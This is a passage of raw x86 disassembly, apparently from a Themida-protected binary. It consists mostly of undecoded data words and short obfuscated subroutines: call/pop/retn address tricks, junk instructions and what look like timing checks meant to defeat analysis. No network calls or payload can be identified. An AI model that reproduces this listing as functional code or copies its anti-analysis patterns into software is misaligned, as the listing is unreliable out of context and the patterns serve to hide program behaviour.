58C35820h, 4244489h, 4244481h, 1Dh, 0B4C35040h dd 0C76D3D4Ch, 1E40349Ah, 0F5BD2367h, 0F906A813h, 176DB5FFh dd 0FFF806A8h, 0A81B3195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0BE66526Eh dd 0B05E9F7Eh, 14E900h, 2A220000h, 5548FD3Ch, 0BEE2659Bh dd 12958193h, 7CF8BAFEh, 70E6F332h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 6EC35343h, 0FC558B76h, 3216F28h dd 9E9h, 23619400h, 34A4DBA6h, 71E4DF7Ah, 66F9B70Fh, 613CFB8Bh dd 245830Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 60DEACC3h, 0BF66E357h, 0B60FD969h dd 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 8EDB4017h, 6E94F74h, 54000000h, 3EE50CF5h dd 9151BF7Dh, 0B5012A4Eh, 6A802A9h, 6BAh, 0EE800h, 0F7440000h dd 0EEAE6159h, 16AAEF74h, 0DA7CE054h, 0C38B5FFCh, 1565BD2Bh dd 0E8C106A8h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 9F4766FCh, 759DE164h dd 0F766410Ah, 53006AE2h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0BA85651h, 0B70FA786h dd 0F5D82BF9h, 51006A58h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 0F1B4B07Eh, 0E5B58B8Bh dd 8906A821h, 0A81AA1BDh, 0FD82B06h, 13E88h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 4716EF90h, 0AAEB53CFh, 7DB503BAh, 8906A825h, 0A82EF595h dd 7B906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 8B8BCAC3h, 0C183F0h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 53C35646h, 810909Fh dd 0D20A6C77h, 80F960C3h, 3B617DE6h, 0B4860FD9h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 570CC350h, 9B58B56h, 5F06A811h, 0D98C665Fh dd 8DDE8166h, 4C1F669h, 75840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0C47B21C3h dd 82A1EA9Bh, 0FFEA3B47h, 0A8068D95h, 0F9BD2B06h, 5B06A81Eh dd 287AF781h, 0C32B7A0Ch, 34B5B523h, 343D06A8h, 0F000008h dd 2A86h, 2DE900h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 850F41C3h, 3, 8BF6B70Fh, 62F681C0h, 8B29FB40h dd 6AD88BC3h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 13AFC350h, 0C56A6452h, 0C7964A70h dd 0A8259D85h, 38911106h, 158D295Dh, 8B06A816h, 51006AC0h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0CF5E938Dh, 0BE071E60h, 0BD81CEFEh, 6A8176Dh, 7D0h dd 12850Fh, 0B5330000h, 6A8091Dh, 176D85FFh, 0BD8B06A8h dd 6A816BDh, 176DB5FFh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0D72E1C3h, 0A5A902F1h dd 3195FFA1h, 6A06A81Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 57F0C351h, 5112CDF3h dd 86DCBF51h, 5F5F4E66h, 1F41B50Bh, 6A9006A8h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 54FEC357h, 0B8DA0248h, 9858985h, 8106A82Ah, 0DB21FDF7h dd 53006A44h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 97EB1B8h, 68B0F2Bh, 89000000h, 0A80FC1B5h dd 0FEBF0F06h, 0A95BD8Bh, 816606A8h, 602596D6h, 8E9h, 28CC7F00h dd 8D9FA65Fh, 2820FEDh, 56000000h, 0D18D8958h, 6106A80Ch dd 0FCF1B70Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 6DC35343h, 0EB4FE781h, 810F2867h, 1Ah, 14E9h, 0A8C98300h dd 730F2D04h, 7BD81417h, 24AC600Dh, 0EAA60044h, 0E681F50Eh dd 3A6D09B2h, 9524D781h, 6A6F9Dh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 440032C3h, 21BCB5DCh dd 8B5528D2h, 0A80301B5h, 0F7E2E906h, 0F28BFFFFh, 39800Fh dd 0BD8B0000h, 6A82FD9h, 14E8h, 0EA0DB500h, 3BA2E123h dd 8CC7EF67h, 0A6EE70E9h, 965FD8F8h, 0EE805h, 343B0000h dd 22C41443h, 607929F1h, 25DB2D18h, 326ABF5Fh, 0F95E107Ch dd 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0AADAC4C3h, 4EBF78Bh, 0 ; --------------------------------------------------------------------------- mov [ebp+6A8279Dh], esi push 0 push ebx call sub_589319 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589319 proc near ; CODE XREF: Themida_:00589311p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_589319 endp ; --------------------------------------------------------------------------- sub [ebp-57CC7A7Bh], cl push es push 0 push esi call sub_58933B and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58933B proc near ; CODE XREF: Themida_:00589333p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_58933B endp ; --------------------------------------------------------------------------- db 1Ah dd 0BE861h, 4FB40000h, 3A9C828h, 8DDC7CE2h, 12E8515Ch dd 0A4000000h, 74AD8936h, 5D6A0C24h, 4E5B298h, 0C91E4A88h dd 5E5E5E3Dh, 8B525090h, 50310FF0h, 60310F52h, 5A585A61h dd 0E8905058h, 7, 0B3F3DDA4h, 0BF6C4490h, 3DACA3E5h, 6A006A5Fh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 6A35C351h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 819F3896h, 0E18780EFh dd 0E4858D14h, 6A06ABFAh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 7923C350h, 62C5CC8Ah dd 0FADFE0Fh, 68Ah, 51B58B00h, 8306A80Fh, 6A05C0h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 66B6BAC3h, 222E5AE9h, 8B0FCD03h, 0Ch, 6880Fh, 840F0000h dd 0 ; --------------------------------------------------------------------------- push eax mov [esp], eax push ecx jo $+6 pop edi jmp loc_58946F ; --------------------------------------------------------------------------- db 9Ah, 46h, 0C9h dd 16B46FF5h, 0D6FAACEEh db 52h, 49h, 0C8h ; --------------------------------------------------------------------------- loc_58946F: ; CODE XREF: Themida_:0058945Cj push 0 push edi adc esi, 1408C55Ah pop esi push 0 jmp loc_589488 ; --------------------------------------------------------------------------- xchg eax, ebp lodsb or ecx, [edx-5F24DD2Ah] loc_589488: ; CODE XREF: Themida_:0058947Bj call dword ptr [ebp+6A82541h] jg loc_58949A and esi, [ebp+6A80F9Dh] loc_58949A: ; CODE XREF: Themida_:0058948Ej lea ebx, [ebp+6AB8C7Fh] stc call ebx push 0 push ebp call sub_5894AE and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5894AE proc near ; CODE XREF: Themida_:005894A6p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5894AE endp ; --------------------------------------------------------------------------- dw 0F421h dd 3880F6Bh, 57000000h, 85FF5FF8h, 6A833F1h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0ABC35343h, 9CC68166h dd 86FE90Eh, 0E80000h, 5D000000h, 0FAEEED81h, 6A06ABh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0BD8BEEC3h, 6A82519h, 176DBD81h, 7D006A8h, 860F0000h dd 14Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 49C35242h, 0BF66FAE2h, 9D8BC5E9h, 6A81A6Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0F0C35242h, 0E381BAF9h dd 100h, 3178EE81h, 0DB0B74E6h, 0AB850Fh, 5E510000h, 0F8F7BD83h dd 0F0006ABh, 4184h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 0D611EE35h, 0C95BD03Fh dd 0EE930h, 83AB0000h, 8FE935D5h, 7D935A2Ch, 601CD3F3h dd 70E9h, 0A574BE00h, 85C77DB7h, 6ABF8F7h, 1, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 3C35141h, 75115F49h dd 0E6BE36F6h, 0F07AA29h, 32E9F8B7h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0F2BC350h, 86h, 0F785C700h, 6ABF8h, 8B000000h, 0A81E85BDh dd 6D9D8D06h, 5606A81Ah, 0A919BF66h, 0FF23815Eh, 6AFFFFFEh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 1A26C352h, 8B11191Eh, 0A834A1BDh, 0DB8C6606h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 7FC35040h dd 0BD89D539h, 6A81551h, 0DBDB533h, 0C3F606A8h, 98840F04h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0F12FC350h, 0BD8B210Ch, 6A80E85h dd 28E0Fh, 5F570000h, 68D95FFh, 6A06A8h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0D4666C3h dd 0D4B99D7Dh, 0FD0E77Fh, 7E9FABFh, 49000000h, 70DF84A8h dd 6650CC44h, 89E5E6BEh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 8770B8C3h, 0E28D329Eh dd 0F3CE8116h, 0E931B28Eh, 423h, 6E3A56BFh, 6A00B048h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0F0ADC356h, 8E8A7314h, 621B533h, 70E606A8h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0E1C35141h dd 3890Fh, 0B70F0000h, 6A71E4F8h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 880C355h dd 53E9C147h, 6AD8B60Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 5CBCC352h, 854FA703h dd 295F577Ah, 0A80F79BDh, 6BA06h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 1C40C2C3h dd 0FA30A5Fh, 1986h, 13E800h, 0CEFE0000h, 0DECD67B9h, 362EE697h dd 3B114D23h, 146424CCh, 0C38B5E77h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0FCC35545h, 284C511Dh, 19B98D89h dd 0B70F06A8h, 4E8C1FEh, 245DEBEh, 0E2F7666Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0B8C35343h, 8A6B29C3h dd 11E9D82Bh, 31000000h, 6212D169h, 0A73FC3E6h, 0F67E948Bh dd 9D8FC029h, 5E993h, 9DE80000h, 50298EF6h, 0FCC682BFh dd 2EBE937Ch, 0FF14112Fh, 0A8176DB5h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 620BE457h, 6B7E0365h, 5E8h, 705BA900h, 840F1200h, 1 dd 95FF5FFCh, 6A81B31h, 681B58Bh, 0B006A8h, 26DE8166h dd 6A70E603h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 2CE0C352h, 0F4B37755h, 0E4BFBF2Dh dd 0E5EE8171h, 3C7737BFh, 30830F61h, 33000002h, 0A80161BDh dd 0AD9D8906h, 0F06A826h, 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0FB0F25C3h, 0F57536A8h dd 85895343h, 6A82C69h, 8589605Fh, 6A8258Dh, 33ED8D8Bh dd 0BA6106A8h, 6, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0E03532C3h, 28B5BD8Bh dd 800F06A8h, 5, 74DE8166h, 4E8C12Eh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 9DC35646h, 9998BA1Eh, 4C1E57B5h dd 0D6D78166h, 0E2F7669Dh, 0D82BFB8Bh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0C3C35242h, 9A9E5FD0h, 99B52BD5h dd 5806A831h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0A7C35040h, 8FDE8133h, 2B4C4253h, 2C880FD8h, 0B9000001h dd 7, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h dd 98C35141h, 8BBB79D2h, 0A80F9DBDh, 0C18306h, 0E3DB58Bh dd 0D93B06A8h, 0F1860Fh, 11E90000h, 0F2000000h, 676B3B9h dd 2E281F6h, 0A881FC7Ch, 8473AE0Ch, 8BD98C66h, 0A82FB1B5h dd 0B5B58B06h, 0F606A81Fh, 840F04C1h, 9Ch, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 57C35040h, 0F4927204h dd 30309C82h, 0F8B70FE4h, 68D95FFh, 6A06A8h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 28034FC3h dd 5B762ABCh, 0B01BD8Bh, 0C32B06A8h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 8FC35242h, 8B42B6BEh, 0A82D9DBDh dd 0FA8B6606h, 8343Dh, 11860F00h, 0F000000h, 89h, 2DE900h dd 8D290000h, 6A81671h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0F2358C3h, 37AD0A09h dd 8B908792h, 66D88BC3h, 0C72281BEh, 0A801ED85h, 0BFE1D906h dd 8BFB8B78h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0D7DFC1A5h, 54897F16h, 950177BDh dd 6A82F35h, 176DBD81h, 7D006A8h, 850F0000h, 30h, 26B1BD8Bh dd 85FF06A8h, 6A8176Dh, 14E9h, 7BF6F000h, 9AD391F3h, 5B4097E8h dd 6423FFD9h, 0E86986E5h, 5840F9Ch, 0BF000000h, 0A6C3353h dd 176DB5FFh, 0E78106A8h, 0C60634Dh, 1B3195FFh, 6A06A8h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0B9FA51C3h, 4AE348EBh, 398D8967h, 5706A806h, 1B81B58Bh dd 905F06A8h, 13F5BD89h, 0F6006A8h, 281h, 0E9585200h, 0Fh dd 0C1521E45h, 147CDACEh, 0DEA475AFh, 80D9C3A8h, 6661D8DDh dd 6AF78Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0B58918C3h, 6A831F1h, 9840Fh, 9D890000h dd 6A82005h, 89F3B70Fh, 0A802ED85h, 29858906h, 8B06A807h dd 0A81FEDBDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h dd 0C3554500h, 6AB074h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 0BEFE2EC3h, 26B98D89h, 12E806A8h dd 1D000000h, 32E518A8h, 840EEA2h, 89412687h, 3846ABB6h dd 8B5FF52Fh, 0A82D79B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 338CB136h dd 0C18D31A5h, 8906A806h, 0A8288985h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 2F8E64B6h, 0F79CE95Eh, 8166FFFFh, 0BB58EF6h, 0A82C55B5h dd 6AC18B06h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 9A8BC352h, 867350B0h, 8A0F345Fh dd 3, 0E9F88B66h, 12h, 0C55174C8h, 5B86E7D5h, 9474DD97h dd 0CDF0DC11h, 4EBE641h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_589DBB and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589DBB proc near ; CODE XREF: Themida_:00589DB3p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_589DBB endp ; --------------------------------------------------------------------------- push ds pop edx mov ebp, 8B6520ADh mov ebp, 6A8090Dh push 0 push ebx call sub_589DE2 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589DE2 proc near ; CODE XREF: Themida_:00589DDAp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_589DE2 endp ; --------------------------------------------------------------------------- dw 0CDCEh ; --------------------------------------------------------------------------- aas mov di, dx xor [ebp+6A8011Dh], edx lea eax, [ebp+6A83385h] push 0 push edi call sub_589E0F and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589E0F proc near ; CODE XREF: Themida_:00589E07p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_589E0F endp ; --------------------------------------------------------------------------- db 0E9h dd 0F543C5CFh, 0F38B6650h, 6A240489h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 65E8C353h dd 874A0311h, 6A29AA18h, 0CE800h, 3F730000h, 1D865197h dd 0A5D089E3h, 8B60F652h, 0A83299BDh, 0D2B70F06h, 6A5E61h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 26C35242h dd 5BC075B3h, 0A8F78D59h, 19E78112h, 0F6EC514h, 858DFEBFh dd 6AC0594h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 69C35141h, 0E905C083h, 13h, 1A1397E1h, 71046CF9h dd 0C7D70689h, 0F2D38964h, 90426D66h, 4880Fh, 57500000h dd 60505E5Eh, 820F5250h, 0 dd 585A310Fh, 61F88B66h, 6850F90h, 29000000h, 0A80BB98Dh dd 6A006A06h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 9E657F62h, 860F7000h, 2, 95FFF18Bh dd 6A82541h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 4EC35343h, 17C58531h, 816606A8h, 8D2A08C7h, 0AB8C7F9Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 6D4DA721h, 0E4EA94D7h, 9C932FBFh, 8B66523Ah dd 0D3FF5EF1h, 0F185FFF5h, 2906A833h, 0A80675BDh, 83BE906h dd 0E80000h, 5D000000h, 59EED81h, 8B6606ACh, 6DBD81F9h dd 0D006A817h, 0F000007h, 12186h, 219D8B00h, 8906A830h dd 0A82FD595h, 0E38106h, 89000001h, 0A8077985h, 0FDB0B06h dd 0BB85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0AD7E6DAAh, 8BDE80A3h, 0A80839BDh dd 9FBD8306h, 6AC03h, 76840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 4F6FD6C3h dd 398D893Dh, 0E806A830h, 10h, 291E2A74h, 9D451378h, 38B54071h dd 0C2F6F9B4h, 75E95Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 13CEB8C3h, 0E9E3A543h dd 10h, 0EEF97C55h, 0A3132E4Dh, 8652D54Eh, 5D9B2DD8h, 39F85C7h dd 106ACh, 0E9F90000h, 2Fh, 39F85C7h, 6ACh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 944DACC3h, 0C8F215C8h, 8DFC57B3h, 0A830219Dh, 0E7816606h dd 23810A47h, 0FFFFFEFFh, 21D59D89h, 8C6606A8h, 50006ADBh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 939D1F4Dh, 0F04C3F6h, 5684h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0F6C07A27h dd 8A0DD58Bh, 6E9h, 0D1EC2200h, 0FF15F3BFh, 0A8068D95h dd 0A5952906h, 5006A820h, 68B0Fh, 8E0F0000h, 0 ; --------------------------------------------------------------------------- mov [esp], eax jo loc_58A167 sub [ebp+6A83065h], edi loc_58A167: ; CODE XREF: Themida_:0058A15Bj jmp loc_58A5A8 ; --------------------------------------------------------------------------- push 0 push ebp call sub_58A177 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A177 proc near ; CODE XREF: Themida_:0058A16Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_58A177 endp ; --------------------------------------------------------------------------- db 35h dd 4CD059Bh, 8B781AB0h, 0A814EDBDh, 0E600B006h, 52006A70h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0B8B37BB6h, 0B290BF66h, 6A71E4h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 59ED84C3h dd 5D5DA15Fh, 0BC59509h, 0B60F06A8h, 0C1BE66D8h, 6BABEh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0D19AD2C3h, 0FEACD2BDh, 2DBF66ACh, 0FC38BC3h dd 1184h, 0AE800h, 0D7810000h, 0EE2AE4D8h, 34EF1E78h, 0E8C15FF9h dd 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 8AC4450h, 0F530CF3h, 0F87h, 9E800h, 0CF030000h dd 0FEA8D33Fh, 5FC32D70h, 0E2F7665Fh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 89C35545h, 2B271494h, 15B589D8h dd 5006A80Bh, 1C89F78Bh, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 6A111A3Bh, 0DE9h, 56083900h dd 4535D941h, 0E796E1CFh, 0B5FF8A71h, 6A8176Dh, 729B523h dd 95FF06A8h, 6A81B31h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 9DC35747h, 8B00B0AFh, 0A81C09BDh, 8970E606h dd 0A8329985h, 6A71E406h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0C410C353h, 1DE9031Eh dd 0F613C3Ch, 26F83h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 6D0FA743h, 2FC5BD8Bh dd 0B60F06A8h, 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 0F5C71EA0h, 6069D01Dh dd 2DB58BFCh, 6106A800h, 6BAh, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 663F8653h dd 8B447ABFh, 0A81001B5h, 0E8C38B06h, 0Ah, 0BD4EBBACh dd 0DDB934B9h, 66609036h, 3192C981h, 3315858Bh, 5E6106A8h dd 6A04E8C1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 448C356h, 7BBF664Dh, 0E2F766F5h dd 2312F681h, 0D82B35E0h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 3CC35141h, 0B589BEBBh, 6A81755h, 52006A58h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 242C214Eh, 0C94B32C4h, 0AA8176BEh, 0FD82B61h, 14B88h dd 5E900h, 4BCC0000h, 0B376753h, 0A805A1B5h, 7B906h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 74A9F3C3h, 351E5E40h, 665BF1E4h, 0E27FC681h, 0C183F9h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0D4C35545h dd 0C737484Fh, 73231C84h, 49E6816Bh, 3B7D8D76h, 0D5860FD9h dd 81000000h, 0ED17FAE6h, 0D98C660Ch, 0F04C1F6h, 9184h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 0C4E2FB79h, 0F04FD60h, 1188h, 0BE800h, 0E8BC0000h dd 0EB093ED9h, 75EAA7F8h, 95FF5E71h, 6A8068Dh, 11E9h, 1F5EE300h dd 392E53E4h, 0E2F80056h, 0D25E2C53h, 2B5B34CFh, 70BF66C3h dd 8343DE4h, 860F0000h, 2Ah, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0ACC35242h, 0B589C844h, 6A80E85h dd 33E9h, 0C08BF500h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 64C35141h, 1A8CC25Fh, 407533DCh, 0CF816689h dd 85319494h, 6A82C51h ; --------------------------------------------------------------------------- loc_58A5A8: ; CODE XREF: Themida_:loc_58A167j mov eax, ebx mov ebx, eax push 0 push edi call sub_58A5B7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A5B7 proc near ; CODE XREF: Themida_:0058A5AFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_58A5B7 endp ; --------------------------------------------------------------------------- db 0FCh dd 0F0FDF483h, 85C74C44h, 6A81A6Dh, 398C4377h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0C7C35141h, 0EEF5841h dd 0EE06BF66h, 800FC08Bh, 6, 0CA98D89h, 0BD8106A8h, 6A8176Dh dd 7D0h, 5E850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 13FDE9C3h, 3D33A4B8h dd 1B58B3Ah, 0FF06A818h, 0A8176D85h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 3FE0D81h, 0A678E609h dd 0DA19D29h, 9D8906A8h, 6A8005Dh, 176DB5FFh, 0BD0106A8h dd 6A80AADh, 1B3195FFh, 6A06A8h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0BD8934C3h, 6A82775h dd 1461B58Bh, 609006A8h, 7F9858Bh, 8B5006A8h, 0A80CA18Dh dd 95895A06h, 6A83475h, 42BC88BBh, 85896136h, 6A81409h dd 0DFDEBE66h, 0C858D01h, 8E906A8h, 20000000h, 916E136Bh dd 6A45AD00h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 9D4FC353h, 67EE8166h, 2785BFEDh dd 6A4D29h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 662AB8C3h, 8BD7D6BEh, 0A81FA5BDh, 0F0B70F06h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0B8C35545h dd 9ED2C775h, 0DF81A697h, 500EE966h, 9A93C681h, 860F01FAh dd 0Ch, 2468EF81h, 0B5234C41h, 6A82D25h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 18h, 24C35646h, 0E89898Ah dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A7C35747h dd 2651B58Bh, 0E3E906A8h, 6AFFFFF7h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0BF99C352h dd 6A604Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0E21A0C3h, 7FC1AACh, 0F6FE2FCh, 180h, 8D89F900h dd 6A81B5Dh, 0FFFFFEB9h, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0DBBCC7DFh, 95313DCAh dd 6A80F31h, 1E4D8D21h, 6A06A8h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 111D3C3h, 9E8h, 96812200h dd 0F7A54F47h, 5FF5C3D0h, 8D21F6B7h, 6A80941h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 84C35747h, 958B9D33h dd 6A816E9h, 1E4D8D8Bh, 6A06A8h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0B5EC86C3h, 0BD891ECCh dd 6A80079h, 